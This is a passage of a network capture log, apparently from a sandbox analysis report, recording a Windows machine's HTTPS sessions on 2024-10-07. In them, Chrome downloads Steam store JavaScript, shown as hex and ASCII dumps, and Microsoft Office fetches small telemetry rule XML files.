2024-10-07 06:47:05 UTC	3474	IN	Data Raw: 3b 0d 0a 09 24 54 65 72 6d 2e 6f 6e 28 20 27 6b 65 79 75 70 20 70 61 73 74 65 27 2c 20 66 75 6e 63 74 69 6f 6e 28 20 65 76 65 6e 74 20 29 20 7b 0d 0a 09 09 76 61 72 20 73 4e 65 77 56 61 6c 20 3d 20 24 54 65 72 6d 2e 76 61 6c 28 29 3b 0d 0a 09 09 69 66 20 28 20 73 4e 65 77 56 61 6c 20 21 3d 20 73 4c 61 73 74 56 61 6c 20 29 0d 0a 09 09 7b 0d 0a 09 09 09 76 61 72 20 74 73 43 68 61 6e 67 65 20 3d 20 24 4a 2e 6e 6f 77 28 29 3b 0d 0a 09 09 09 76 61 72 20 6d 73 44 65 6c 61 79 42 65 66 6f 72 65 54 69 6d 65 6f 75 74 20 3d 20 6b 5f 6e 53 74 61 72 74 53 65 61 72 63 68 54 69 6d 65 6f 75 74 4d 53 3b 0d 0a 09 09 09 69 66 20 28 20 21 74 73 4c 61 73 74 53 65 61 72 63 68 20 29 0d 0a 09 09 09 09 74 73 4c 61 73 74 53 65 61 72 63 68 20 3d 20 74 73 43 68 61 6e 67 65 3b 0d 0a Data Ascii: ;$Term.on( 'keyup paste', function( event ) {var sNewVal = $Term.val();if ( sNewVal != sLastVal ){var tsChange = $J.now();var msDelayBeforeTimeout = k_nStartSearchTimeoutMS;if ( !tsLastSearch )tsLastSearch = tsChange;
2024-10-07 06:47:05 UTC	13257	IN	Data Raw: 2f 2a 20 45 76 65 6e 74 2e 4b 45 59 5f 45 53 43 20 2a 2f 20 29 0d 0a 09 7b 0d 0a 09 09 53 68 6f 77 53 75 67 67 65 73 74 69 6f 6e 73 41 73 4e 65 63 65 73 73 61 72 79 28 20 74 72 75 65 2c 20 24 53 75 67 67 65 73 74 69 6f 6e 73 43 74 6e 2c 20 24 53 75 67 67 65 73 74 69 6f 6e 73 20 29 3b 0d 0a 09 7d 0d 0a 09 65 6c 73 65 20 69 66 20 28 20 65 76 65 6e 74 2e 6b 65 79 43 6f 64 65 20 3d 3d 20 31 33 20 2f 2a 20 45 76 65 6e 74 2e 4b 45 59 5f 52 45 54 55 52 4e 20 2a 2f 0d 0a 09 09 7c 7c 20 65 76 65 6e 74 2e 6b 65 79 43 6f 64 65 20 3d 3d 20 33 38 20 2f 2a 20 45 76 65 6e 74 2e 4b 45 59 5f 55 50 20 2a 2f 0d 0a 09 09 7c 7c 20 65 76 65 6e 74 2e 6b 65 79 43 6f 64 65 20 3d 3d 20 34 30 20 2f 2a 20 45 76 65 6e 74 2e 4b 45 59 5f 44 4f 57 4e 20 2a 2f 20 29 0d 0a 09 7b 0d 0a 09 Data Ascii: /* Event.KEY_ESC / ){ShowSuggestionsAsNecessary( true, $SuggestionsCtn, $Suggestions );}else if ( event.keyCode == 13 / Event.KEY_RETURN /\|\| event.keyCode == 38 / Event.KEY_UP /\|\| event.keyCode == 40 / Event.KEY_DOWN */ ){
2024-10-07 06:47:05 UTC	16384	IN	Data Raw: 6e 6f 72 65 0d 0a 09 7d 0d 0a 7d 0d 0a 0d 0a 2f 2f 20 46 75 6e 63 74 69 6f 6e 20 74 6f 20 61 64 64 20 61 20 70 61 63 6b 61 67 65 20 74 6f 20 61 20 63 61 72 74 2c 20 61 73 73 75 6d 65 73 20 66 6f 72 6d 20 73 65 74 75 70 20 6f 6e 20 74 68 65 20 70 61 67 65 0d 0a 66 75 6e 63 74 69 6f 6e 20 75 70 64 61 74 65 51 74 79 43 61 72 74 28 20 66 6f 72 6d 4e 61 6d 65 2c 20 69 64 20 29 0d 0a 7b 0d 0a 09 74 72 79 0d 0a 09 7b 0d 0a 09 09 2f 2f 20 43 68 65 63 6b 20 66 6f 72 20 71 75 61 6e 74 69 74 79 0d 0a 09 09 76 61 72 20 71 75 61 6e 74 69 74 79 20 3d 20 6a 51 75 65 72 79 28 20 27 23 27 2b 69 64 20 29 2e 76 61 6c 28 29 3b 0d 0a 09 09 69 66 20 28 20 71 75 61 6e 74 69 74 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 0d 0a 09 09 7b 0d 0a 09 09 09 76 61 72 20 66 69 6c Data Ascii: nore}}// Function to add a package to a cart, assumes form setup on the pagefunction updateQtyCart( formName, id ){try{// Check for quantityvar quantity = jQuery( '#'+id ).val();if ( quantity !== undefined ){var fil
2024-10-07 06:47:05 UTC	16384	IN	Data Raw: 6e 28 29 20 7b 0d 0a 09 09 09 09 6e 54 61 6c 6c 65 73 74 43 68 69 6c 64 20 3d 20 4d 61 74 68 2e 6d 61 78 28 20 6e 54 61 6c 6c 65 73 74 43 68 69 6c 64 2c 20 24 4a 28 74 68 69 73 20 29 2e 6f 75 74 65 72 48 65 69 67 68 74 28 29 20 29 3b 0d 0a 09 09 09 7d 29 3b 0d 0a 09 09 09 24 57 72 61 70 70 65 72 2e 63 73 73 28 27 68 65 69 67 68 74 27 2c 20 6e 54 61 6c 6c 65 73 74 43 68 69 6c 64 20 29 3b 0d 0a 0d 0a 09 09 09 69 66 20 28 20 24 53 63 72 6f 6c 6c 2e 73 63 72 6f 6c 6c 4c 65 66 74 28 29 20 3c 3d 20 31 20 29 0d 0a 09 09 09 09 24 53 6c 69 64 65 72 4c 65 66 74 2e 68 69 64 65 28 29 3b 0d 0a 09 09 09 65 6c 73 65 0d 0a 09 09 09 09 24 53 6c 69 64 65 72 4c 65 66 74 2e 73 68 6f 77 28 29 3b 0d 0a 0d 0a 09 09 09 69 66 20 28 20 24 53 63 72 6f 6c 6c 2e 73 63 72 6f 6c 6c 4c Data Ascii: n() {nTallestChild = Math.max( nTallestChild, $J(this ).outerHeight() );});$Wrapper.css('height', nTallestChild );if ( $Scroll.scrollLeft() <= 1 )$SliderLeft.hide();else$SliderLeft.show();if ( $Scroll.scrollL
2024-10-07 06:47:05 UTC	3654	IN	Data Raw: 74 68 69 73 2e 43 68 65 63 6b 53 63 72 6f 6c 6c 54 6f 45 6c 65 6d 65 6e 74 73 28 29 3b 0d 0a 09 74 68 69 73 2e 53 63 68 65 64 75 6c 65 55 70 6c 6f 61 64 28 29 3b 0d 0a 7d 0d 0a 0d 0a 43 55 73 61 62 69 6c 69 74 79 54 72 61 63 6b 65 72 2e 70 72 6f 74 6f 74 79 70 65 2e 4f 6e 57 69 6e 64 6f 77 55 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 0d 0a 7b 0d 0a 09 74 68 69 73 2e 50 6f 73 74 53 74 61 74 73 28 29 3b 0d 0a 7d 0d 0a 0d 0a 43 55 73 61 62 69 6c 69 74 79 54 72 61 63 6b 65 72 2e 70 72 6f 74 6f 74 79 70 65 2e 48 61 6e 64 6c 65 57 69 6e 64 6f 77 43 6c 69 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 65 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 24 54 61 72 67 65 74 20 3d 20 24 4a 28 20 65 2e 74 61 72 67 65 74 20 29 3b 0d 0a 09 69 66 20 28 20 21 24 54 61 Data Ascii: this.CheckScrollToElements();this.ScheduleUpload();}CUsabilityTracker.prototype.OnWindowUnload = function (){this.PostStats();}CUsabilityTracker.prototype.HandleWindowClick = function( e ){var $Target = $J( e.target );if ( !$Ta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49805	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:04 UTC	550	OUT	GET /public/javascript/dynamicstore.js?v=uk2vdkhDxGM-&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:05 UTC	384	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "uk2vdkhDxGM-" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=10107355 Expires: Sat, 01 Feb 2025 06:23:00 GMT Date: Mon, 07 Oct 2024 06:47:05 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-07 06:47:05 UTC	16000	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 47 65 74 45 6c 65 6d 53 4e 52 28 20 24 45 6c 65 6d 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 73 6e 72 20 3d 20 24 45 6c 65 6d 2e 64 61 74 61 28 20 27 73 6e 72 27 20 29 3b 0d 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 73 6e 72 20 21 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 29 0d 0a 09 7b 0d 0a 09 09 72 65 74 75 72 6e 20 73 6e 72 3b 0d 0a 09 7d 0d 0a 0d 0a 09 2f 2f 20 6c 6f 6f 6b 20 66 6f 72 20 6c 69 6e 6b 73 20 77 69 74 68 20 73 6e 72 20 70 61 72 61 6d 65 74 65 72 0d 0a 09 76 61 72 20 6c 69 6e 6b 73 20 3d 20 24 45 6c 65 6d 2e 69 73 28 20 27 61 27 20 29 20 3f 20 24 45 6c 65 6d 20 3a 20 24 45 6c 65 6d 2e 66 69 6e 64 28 20 27 61 27 20 29 3b 0d 0a 09 73 6e 72 20 3d 20 6e 75 6c 6c 3b 0d 0a 09 66 6f 72 20 Data Ascii: 0000C000function GetElemSNR( $Elem ){var snr = $Elem.data( 'snr' );if ( typeof snr != 'undefined' ){return snr;}// look for links with snr parametervar links = $Elem.is( 'a' ) ? $Elem : $Elem.find( 'a' );snr = null;for
2024-10-07 06:47:05 UTC	15825	IN	Data Raw: 0d 0a 09 09 7b 0d 0a 09 09 09 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 2e 4f 6e 52 65 61 64 79 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 2e 44 65 63 6f 72 61 74 65 44 79 6e 61 6d 69 63 49 74 65 6d 73 28 20 24 53 65 6c 65 63 74 6f 72 20 29 20 7d 20 29 3b 0d 0a 09 09 09 72 65 74 75 72 6e 3b 0d 0a 09 09 7d 0d 0a 0d 0a 09 09 2f 2f 20 6c 6f 63 61 74 65 20 65 6c 65 6d 65 6e 74 73 20 77 69 74 68 20 64 79 6e 61 6d 69 63 20 73 74 6f 72 65 20 64 61 74 61 0d 0a 09 09 76 61 72 20 73 74 72 53 65 6c 65 63 74 6f 72 20 3d 20 27 5b 64 61 74 61 2d 64 73 2d 61 70 70 69 64 5d 2c 20 5b 64 61 74 61 2d 64 73 2d 70 61 63 6b 61 67 65 69 64 5d 2c 20 5b 64 61 74 61 2d 64 73 2d 62 75 6e 64 6c 65 69 64 5d 27 3b 0d 0a 0d 0a 09 09 2f 2f 20 75 70 Data Ascii: {GDynamicStore.OnReady( function() { GDynamicStore.DecorateDynamicItems( $Selector ) } );return;}// locate elements with dynamic store datavar strSelector = '[data-ds-appid], [data-ds-packageid], [data-ds-bundleid]';// up
2024-10-07 06:47:05 UTC	16384	IN	Data Raw: 63 61 72 74 3a 6e 6f 74 28 2e 62 74 6e 5f 70 61 63 6b 61 67 65 69 6e 66 6f 29 27 20 29 2e 63 68 69 6c 64 72 65 6e 28 29 3b 0d 0a 09 09 76 61 72 20 24 44 69 73 63 6f 75 6e 74 42 6c 6f 63 6b 73 20 3d 20 24 45 6c 2e 66 69 6e 64 28 27 2e 64 69 73 63 6f 75 6e 74 5f 62 6c 6f 63 6b 27 29 3b 0d 0a 0d 0a 09 09 69 66 20 28 20 21 42 75 6e 64 6c 65 2e 6d 5f 62 49 73 43 6f 6d 6d 65 72 63 69 61 6c 20 26 26 20 28 20 21 42 75 6e 64 6c 65 2e 6d 5f 72 67 42 75 6e 64 6c 65 49 74 65 6d 73 2e 6c 65 6e 67 74 68 20 7c 7c 20 28 20 42 75 6e 64 6c 65 2e 6d 5f 62 4d 75 73 74 50 75 72 63 68 61 73 65 41 73 53 65 74 20 26 26 20 42 75 6e 64 6c 65 2e 6d 5f 63 55 73 65 72 49 74 65 6d 73 49 6e 42 75 6e 64 6c 65 20 3c 20 42 75 6e 64 6c 65 2e 6d 5f 63 54 6f 74 61 6c 49 74 65 6d 73 49 6e 42 Data Ascii: cart:not(.btn_packageinfo)' ).children();var $DiscountBlocks = $El.find('.discount_block');if ( !Bundle.m_bIsCommercial && ( !Bundle.m_rgBundleItems.length \|\| ( Bundle.m_bMustPurchaseAsSet && Bundle.m_cUserItemsInBundle < Bundle.m_cTotalItemsInB
2024-10-07 06:47:05 UTC	955	IN	Data Raw: 09 09 76 61 72 20 75 6e 50 61 63 6b 61 67 65 49 44 20 3d 20 24 65 6c 2e 64 61 74 61 28 27 64 73 2d 70 61 63 6b 61 67 65 69 64 27 29 3b 0d 0a 09 09 76 61 72 20 75 6e 42 75 6e 64 6c 65 49 44 20 3d 20 24 65 6c 2e 64 61 74 61 28 27 64 73 2d 62 75 6e 64 6c 65 69 64 27 20 29 3b 0d 0a 0d 0a 09 09 69 66 20 28 20 75 6e 42 75 6e 64 6c 65 49 44 20 26 26 20 47 53 74 6f 72 65 49 74 65 6d 44 61 74 61 2e 72 67 42 75 6e 64 6c 65 44 61 74 61 5b 75 6e 42 75 6e 64 6c 65 49 44 5d 20 29 0d 0a 09 09 09 72 65 74 75 72 6e 20 7b 20 62 75 6e 64 6c 65 69 64 3a 20 75 6e 42 75 6e 64 6c 65 49 44 2c 20 69 74 65 6d 3a 20 47 53 74 6f 72 65 49 74 65 6d 44 61 74 61 2e 72 67 42 75 6e 64 6c 65 44 61 74 61 5b 75 6e 42 75 6e 64 6c 65 49 44 5d 20 7d 3b 0d 0a 0d 0a 09 09 69 66 28 20 75 6e 50 61 Data Ascii: var unPackageID = $el.data('ds-packageid');var unBundleID = $el.data('ds-bundleid' );if ( unBundleID && GStoreItemData.rgBundleData[unBundleID] )return { bundleid: unBundleID, item: GStoreItemData.rgBundleData[unBundleID] };if( unPa
2024-10-07 06:47:05 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 61 74 61 2e 72 67 41 63 63 6f 75 6e 74 44 61 74 61 2e 70 75 73 68 28 20 72 67 41 63 63 6f 75 6e 74 73 5b 69 5d 20 29 3b 0d 0a 09 09 09 7d 0d 0a 09 09 7d 0d 0a 09 7d 2c 0d 0a 0d 0a 09 47 65 74 41 63 63 6f 75 6e 74 44 61 74 61 3a 20 66 75 6e 63 74 69 6f 6e 28 20 73 74 65 61 6d 69 64 2c 20 61 63 63 6f 75 6e 74 69 64 2c 20 74 79 70 65 20 29 0d 0a 09 7b 0d 0a 0d 0a 09 09 2f 2f 20 41 73 73 75 6d 65 20 69 6e 64 69 76 69 64 75 61 6c 20 61 63 63 6f 75 6e 74 20 75 6e 6c 65 73 73 20 6f 74 68 65 72 77 69 73 65 20 73 70 65 63 69 66 69 65 64 2e 0d 0a 09 09 69 66 28 20 21 74 79 70 65 20 29 0d 0a 09 09 09 74 79 70 65 20 3d 20 31 3b 0d 0a 0d 0a 09 09 2f 2f 20 53 65 61 72 63 68 20 66 6f 72 20 61 6e 20 61 63 63 6f 75 6e 74 69 64 20 69 6e 73 74 Data Ascii: 00004000ata.rgAccountData.push( rgAccounts[i] );}}},GetAccountData: function( steamid, accountid, type ){// Assume individual account unless otherwise specified.if( !type )type = 1;// Search for an accountid inst
2024-10-07 06:47:05 UTC	12	IN	Data Raw: 44 61 74 61 20 29 0d 0a 09 09 0d 0a Data Ascii: Data )
2024-10-07 06:47:05 UTC	8980	IN	Data Raw: 30 30 30 30 32 33 30 38 0d 0a 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 0d 0a 09 09 69 66 20 28 20 21 47 53 74 6f 72 65 49 74 65 6d 44 61 74 61 2e 42 49 74 65 6d 50 61 73 73 65 73 46 69 6c 74 65 72 73 28 20 72 67 50 61 63 6b 61 67 65 44 61 74 61 2c 20 53 65 74 74 69 6e 67 73 2c 20 41 70 70 6c 69 63 61 62 6c 65 53 65 74 74 69 6e 67 73 2c 20 62 53 74 72 69 63 74 20 29 20 29 0d 0a 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 0d 0a 09 09 69 66 20 28 20 21 47 53 74 6f 72 65 49 74 65 6d 44 61 74 61 2e 42 41 70 70 49 44 53 65 74 50 61 73 73 65 73 46 69 6c 74 65 72 73 28 20 72 67 50 61 63 6b 61 67 65 44 61 74 61 2e 61 70 70 69 64 73 2c 20 53 65 74 74 69 6e 67 73 2c 20 41 70 70 6c 69 63 61 62 6c 65 53 65 74 74 69 6e 67 73 2c 20 62 53 74 72 69 63 74 Data Ascii: 00002308return false;if ( !GStoreItemData.BItemPassesFilters( rgPackageData, Settings, ApplicableSettings, bStrict ) )return false;if ( !GStoreItemData.BAppIDSetPassesFilters( rgPackageData.appids, Settings, ApplicableSettings, bStrict
2024-10-07 06:47:05 UTC	13577	IN	Data Raw: 30 30 30 30 33 34 46 44 0d 0a 73 20 74 68 65 20 62 61 73 65 20 67 61 6d 65 20 61 6c 72 65 61 64 79 2c 20 6f 6e 6c 79 20 73 68 6f 77 20 74 68 65 20 44 4c 43 0d 0a 09 09 09 09 69 66 20 28 20 72 67 41 70 70 44 61 74 61 20 26 26 20 72 67 41 70 70 44 61 74 61 2e 64 6c 63 5f 66 6f 72 5f 61 70 70 20 29 0d 0a 09 09 09 09 7b 0d 0a 09 09 09 09 09 69 66 20 28 20 21 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 2e 42 49 73 41 70 70 4f 77 6e 65 64 28 20 72 67 41 70 70 44 61 74 61 2e 64 6c 63 5f 66 6f 72 5f 61 70 70 2c 20 66 61 6c 73 65 20 29 20 29 0d 0a 09 09 09 09 09 7b 0d 0a 09 09 09 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 09 09 09 09 09 7d 0d 0a 0d 0a 09 09 09 09 09 6f 53 68 6f 77 6e 49 74 65 6d 73 2e 72 67 41 70 70 49 64 73 2e 70 75 73 68 28 20 72 67 41 70 Data Ascii: 000034FDs the base game already, only show the DLCif ( rgAppData && rgAppData.dlc_for_app ){if ( !GDynamicStore.BIsAppOwned( rgAppData.dlc_for_app, false ) ){return false;}oShownItems.rgAppIds.push( rgAp
2024-10-07 06:47:05 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:04 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:05 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 2f3972b1-401e-0035-1b02-1782d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064705Z-1657d5bbd482lxwq1dp2t1zwkc00000002tg00000000cxqy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:05 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:04 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:04 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 27b6de9f-001e-0046-1e00-17da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064704Z-1657d5bbd48wd55zet5pcra0cg000000030g00000000c9rw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:05 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:04 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:04 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: cde3aec9-601e-0084-63e5-166b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064704Z-1657d5bbd48qjg85buwfdynm5w000000032g00000000h4cw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:05 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:04 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:04 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 04801829-801e-00ac-6301-17fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064704Z-1657d5bbd48vlsxxpe15ac3q7n0000000360000000000vbf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:05 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49810	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
